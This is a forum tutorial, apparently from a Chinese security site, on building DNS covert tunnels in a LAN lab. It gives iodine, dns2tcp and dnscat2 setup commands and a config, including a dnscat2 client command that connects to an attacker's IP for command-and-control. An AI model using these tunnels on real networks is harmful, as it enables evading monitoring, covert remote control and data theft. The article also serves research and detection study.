首页
论坛
课程
招聘

【技术向】基于工控场景的DNS隧道攻击方案

2021-04-01 10:16

一.  总体概述


网络隐蔽通道技术


一般而言,隐蔽通道是指系统的一个用户用违反系统安全策略的方式传送信息给另外一个用户的机制。

通常隐蔽通道有两种类型:存储隐蔽通道和时间隐蔽通道。

  • 存储隐蔽通道是指:一个进程对某客体进行写操作,而另一个进行可以观察到写的结果。

  • 时间隐蔽通道指:一个进程对系统性能产生的影响可以被另外一个进程观察到并且可以利用一个时间基准进行测量。而这两种类型的隐蔽通道的产生,都必须符合一个条件:即发送进程和接收进程之间必须无法以符合系统安全机制的方式进行通信。


网络隐蔽通道的构建主要利用网络协议漏洞或者报文的时间特性来建立,其常见方式如下:


  1. 利用未用或保留字段建立隐蔽通道:由于网络检测系统一般不会对保留字段和未用字段进行检查,因此网络攻击者可将要传递的信息隐蔽在报文中未用的字段或者保留字段中,例如:IP报头的TOS字段和DF字段均可用于隐蔽信息的传输。

  2. 利用扩展和填充字段建立隐蔽通道:由于大部分网络协议都支持对报文的扩展,以满足网络通信中的特殊需求,而扩展方式却很少有明确的定义。因此,网络攻击者可以对某协议报文进行自行扩展,将信息作为填充内容隐蔽到填充字段中,从而建立网络隐蔽通道。

  3.  在协议规范允许下,对报文相关字段或者负载大小进行调制来隐蔽信息的传输,以此来建立网络隐蔽通道。

  4.  利用报文的收发时间特性,通过调整正常数据包的发送接收时间来隐蔽信息,从而建立网络隐蔽通道。

  5.  其它方式建立隐蔽通道:例如,利用网络冲突检测机制或无线局域网的Traceback机制将信息隐蔽其中,这也是建立网络隐蔽通道的方式。


DNS解析服务原理


DNS解析过程是将主机名转换为计算机友好的 IP 地址。Internet 上的每个设备都被分配了一个 IP 地址,必须有该地址才能找到相应的 Internet 设备——就像使用街道地址来查找特定住所一样。当用户加载网页时,用户在 Web 浏览器中键入的内容(example.com)与查找 example.com 网页所需的机器友好地址之间必须进行转换。


DNS隐蔽隧道攻击原理


DNS隧道依据其实现方式大致可分为直连和中继两类。

(1)直连隧道

用户端直接和指定的目标DNS服务器建立连接,然后将需要传输的数据编码封装在DNS协议中进行通信。

这种方式的优点是具有较高速度,但隐蔽性弱、易被探测追踪的缺点也很明显。另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过。

(2)中继隧道

通过DNS迭代查询而实现的中继DNS隧道,这种方式比较隐秘,且可在绝大部分场景下部署成功。但由于数据包到达目标DNS服务器前需要经过多个节点的跳转,数据传输速度和传输能力较直连会慢很多。

中继型DNS隧道基本通信架构如下图所示:



图片


1)被控端把要传输的内容封装(protocolwrap)在dns query请求包中,发起一次正常的DNS解析请求;


2)当被控端向任意一台DNS服务器请求该域名下的子域名时,本地 DNS服务器无论是通过递归查询还是迭代查询,都会向外转发这个DNS请求,最终这个DNS请求都会被送到攻击者控制的权威NS服务器中(这意味着攻击者必须事先配置好NS以及A记录解析);


3)NS服务器控制端解析请求报文,得到被控端传来的信息,然后将攻击控制命令通过封装在DNS响应报文中;


4)至此实现双方通信,所有的通信都必须由被控端(client端)主动发起,不断回传数据并接受新指令。


中继过程中的一个关键点是对DNS缓存机制的规避,因为如果需要解析的域名在Local DNS Server中已经有缓存时,Local DNS Server就不会转发数据包。所以在我们构造的请求中,每次查询的域名都是不一样的或者是已经是过期的。


对DNS载荷的编码是DNS Tunneling的另一个核心技术。从高层来看,载荷只是客户端和服务器通信的正常流量。例如客户端发送一个A记录请求给服务器,查询的主机名为

“2roAUwBaCGRuc3R1bm5lbGluZwo.test.domain.com”

其中2roAUwBaCGRuc3R1bm5lbGluZwo则是客户端传递给服务器的信息,这串字符解码后的信息便是dns tunneling。


由于大多数场景下,内网的Client位于防火墙后,Server不可能发起连接,所以大多数工具,Client会定时向Server发送请求,保障二者之间的正常通信。



二.  攻击设计方案


2.1 攻击网络设置


本攻击设计网络设计采用直连模式构建DNS隧道,只在局域网内搭建,因此不要求注册域名、拥有公网IP及设置DNS解析,具体设备信息如下:

  • 服务端:Kali Linux

  • 客户端(受控主机):Windows10主机

  • 客户端(受控主机):Linux主机


2.2 攻击方案设计


本文利用iodine、dns2tcp、dnscat2构建DNS隧道。

通常真实攻防环境会搭建中继模式的DNS隧道,通过递归查询到达C&C 服务端。公网部署需要注册域名、公网IP及设置对应的DNS解析。由于设备条件有限,以下实验以最小化设备环境需求展开,采用直连模式构建DNS隧道,只在局域网内搭建,因此不要求注册域名、拥有公网IP及设置DNS解析。


2.3 iodline工具实现DNS隧道


DNS隧道工具iodine分为服务器端程序iodined和客户端程序iodine。服务端程序iodined提供特定域名的DNS解析服务。当客户端请求该域名的解析,就可以建立通道连接。iodine 支持 NULL , TXT , SRV , MX , CNAME , A 等多种查询请求类型,并且支持 EDNS ,支持base32,base64,base128等多种编码规范。


iodine支持直接转发和中继两种模式。客户端和服务端建立通信后,可以看到客户机上多出一块名为dns0的虚拟网卡。本文使用 iodine 直连模式建立 DNS 通道。


在安装 DNS 通道工具 iodine 之前,需要准备2台 linux 机器,其中一台作为DNS 隐蔽通道的 Client ,另外一台作为目标 DNSServer 。

 

服务端执行命令:

iodined-P 123456 -f -DD 192.168.0.1 abc.com

其中:

abc.com 自定义DNS传输的主域名

192.168.0.1自定义的局域网虚拟IP

123456自定义密码,客户端需要同样密码才能连接

 

客户端执行命令:

sudoiodine -P 123456 -f -r -T TXT <your iodine server ip>

sudoiodine -P 123456 -f -r -T TXT 192.168.33.120 abc.com

其中:

<youriodine server ip> 可选,表示不经过DNS服务商,直接向iodine服务端所在的服务器IP请求DNS解析,即直连

-r由于iodine有时可能会自动切换DNS隧道为UDP通道,故该参数作用是:强制在任何情况下使用DNS隧道

-f将使客户端保持在前台运行

-t使用的DNS类型


上述步骤操作成功后,在Client和Server机器控制台上可以看到如下输出:


图片

图2 Iodineclient端输出

图片

图3 Iodineserver端输出


从图3可以看出,iodine在建立DNS通道连接的过程中,使用了大量的特殊字符子域名。而在DNS报文中包含大量的不符域名规范的子域名是DNS隐蔽通道的检测特征之一。


查看Server和Client端的网卡配置,可以看到两台机器都多出了dns0的虚拟网卡。

 

图片

图4 建立iodine DNS通道的Client端


图片

图5 建立iodine DNS通道的服务端


如图4与图5所示,Client端与Server端在建立iodine DNS通道后多出了dns0虚拟网卡。


在客户端ssh登录服务端:

 

图片

图6 ssh成功登陆服务端


用wireshark 抓取iodine的通信包:


图片

图7 抓包数据展示


如图7所示,可以看到针对abc.com这个主域名,包含了大量的子域名请求,而这些子域名负责携带外发数据。


2.4 隧道dns2tcp工具实现DNS隧道


本次实验使用两台处于连通状态的主机Windows10和Kali Linux,其中Kali Linux主机作为服务端,Windows10主机作为客户端(受控主机)。


(1)工具安装

Kali Linux以root用户执行命令安装:

apt-get install uodate

Apt-get install dns2tcp


(2)服务端配置

编辑dns2tcp服务端配置文件 /etc/dns2tcpd.conf ,如下:


listen = 192.168.33.120

port = 53

# If you change this value,also change the USER variable in /etc/default/dns2tcpd

user = nobody

chroot = /tmp

domain = dnsc2.test.com

resources =ssh:127.0.0.1:22 , smtp:127.0.0.1:25 , c2:127.0.0.1:5353

 

【参数说明】

1)、listen为服务端IP,尽量避免127.0.0.1。如果选择VPS搭建环境,请就IP配置为0.0.0.0,因为一般VPS都有两个IP(公网IP+内网IP)。


2)、Port为DNS隧道使用的端口,一般使用默认DNS服务端口53,具有更好的迷惑性。如果修改为其他端口号,则使用的客户端也需要去对应位置修改后重新编译为可执行文件。


3)、domain请修改为你所指定的域名,局域网环境下可以随意指定且无需注册。该域名会在客户端启动时作为参数使用。


4)、resources官方解释是服务端的对应使用的资源。实质就是通过dns2tcp服务端工具提取的数据将交付的地址(IP+端口)。即如果客户端启动时使用“ -r c2 ”,即代表dns2tcp服务端工具提取的数据转发到127.0.0.1的5353端口。


注意:这是简单的数据转发端口配置,并给它取了个别名,对应服务需要自行搭建。


输入以下命令,启动服务端:

命令:dns2tcpd -f/etc/dns2tcpd.conf -F -d 2

参数解释:

-f:指定配置文件启动

-F:指定dns2tcp工具运行在前台

-d:指定调试日志打印等级


最终成功启动服务端,如下图所示:


图片

图8 成功启动


(3)客户端配置


1)在编译好(或下载)的EXE可执行程序的目录下打开cmd窗口,并执行如下启动命令:

dns2tcpc.exe -r c2 -zdnsc2.test.com 192.168.33.120 -l 5353 -d 2


启动命令中各参数说明:

-r:指定要使用的服务端配置的资源对应的名

-z:配置为建立DNS隧道使用的域名

-l:指定隧道客户端监听的本地端口

-d:作用同服务端,输出2级调试信息


注意:命令中的192.168.33.120表示指定目标DNS服务器(也可以是DNS服务器的域名,但必须在上一级域名的DNS记录中正确配置了NS记录和A记录),若不指定则使用默认DNS进行解析,由于本次环境未注册域名并配置公网IP解析,因此将无法寻址(DNS请求无法到达我们隧道的服务端)。

在局域网情况下,必须指定为服务端IP,即直至指定使用DNS隧道服务器解析dnsc2.test.com(并未真正解析,只是为了使所有dnsc2.test.com及其子域名的解析请求都能到达服务端)。


2)成功启动DNS客户端后,如下图(不要关闭该窗口)


图片

图9 成功启动DNS客户端


3)测试隧道是否建立成功并可以接收数据


在服务端搭建一个Openssh-Server,即搭建SSH服务端并配置SSH登录。

更改启动参数中的-r为 -r ssh并启动客户端。

命令:dns2tcpc_win>dns2tcpc.exe-r ssh -z dnsc2.test.com 192.168.33.120 -l 5353 -d 2


在客户端使用SSH登录工具(如Putty,xshell),通过127.0.0.1加5353端口SSH登录服务端,若成功登录,并能在服务端和客户端的相应窗口内看到数据传输打印的日志则表明隧道建立成功。如下图:


图片

图10 SSH登录


图片

图11 隧道建立成功


用wireshark 抓取dns2tcp的通信包:


图片

图12 抓取通信包


服务端dns2tcp的显示信息:


图片

图13 服务端展示信息


2.5  利用dnscat2工具实现DNS隧道


服务端安装:


 git clonehttps://github.com/iagox86/dnscat2.git

 cd dnscat2

 cd server

 sudo gem install bundler

 bundle install


客户端安装:


 git clonehttps://github.com/iagox86/dnscat2.git 

 cd dnscat2/client/

 make


*以直连模式运行*:


服务端:


ruby ./dnscat2.rb --dns"domain=localhost,host=127.0.0.1,port=53" --no-cache


客户端:


dnscat2-v0.07-client-win32.exe--dns server=攻击者的IP --secret=攻击者服务器生成的ID


图片





漏洞利用 漏洞分析 工具脚本 安全研究 漏洞相关
声明:该文观点仅代表作者本人,转载请注明来自看雪专栏
最新评论 (0)
登录后即可评论